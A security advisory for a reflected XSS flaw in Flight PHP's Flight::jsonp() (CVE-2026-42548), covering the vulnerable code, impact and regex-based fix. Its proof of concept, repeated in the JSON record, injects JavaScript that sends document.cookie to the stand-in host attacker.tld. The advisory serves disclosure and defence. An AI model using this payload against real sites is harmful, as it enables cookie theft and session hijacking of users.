GHSA-FCX8-PH5R-MXR4

Vulnerability from github – Published: 2026-05-06 21:34 – Updated: 2026-05-14 20:39
VLAI
Summary
Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
Details

Summary

Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

Affected code

flight/Engine.php (≈ lines 1000-1013):

$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');

No regex or identifier validation is performed before the callback is written.

Proof of concept

Given any route that calls Flight::jsonp($data):

GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//

Reproduced response (Content-Type: application/javascript):

;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});

When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.

Impact

  • Reflected XSS in any application calling Flight::jsonp().
  • Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
  • Exfiltration of authenticated API responses.

Patch (fixed in 3.18.1, commit b8dd23a)

_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.

Credit

Discovered by @Rootingg.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "flightphp/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:34:15Z",
    "nvd_published_at": "2026-05-13T20:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (\u2248 lines 1000-1013):\n\n```php\n$callback = $this-\u003erequest()-\u003equery[$param];\n$this-\u003eresponse()\n    -\u003estatus($code)\n    -\u003eheader(\u0027Content-Type\u0027, \u0027application/javascript; charset=\u0027 . $charset)\n    -\u003ewrite($callback . \u0027(\u0027 . $json . \u0027);\u0027);\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch(\u0027https://attacker.tld/c=\u0027+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch(\u0027https://attacker.tld/c=\u0027+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `\u003cscript src=\"https://victim.tld/api?jsonp=\u2026\"\u003e` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context \u2014 cookie theft and session hijack follow.\n\n### Impact\n- Reflected XSS in any application calling `Flight::jsonp()`.\n- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.\n- Exfiltration of authenticated API responses.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\n`_jsonp()` now validates the callback name against `^[A-Za-z_$][\\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.\n\n### Credit\nDiscovered by **@Rootingg**.",
  "id": "GHSA-fcx8-ph5r-mxr4",
  "modified": "2026-05-14T20:39:53Z",
  "published": "2026-05-06T21:34:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42548"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/flightphp/core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() "
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.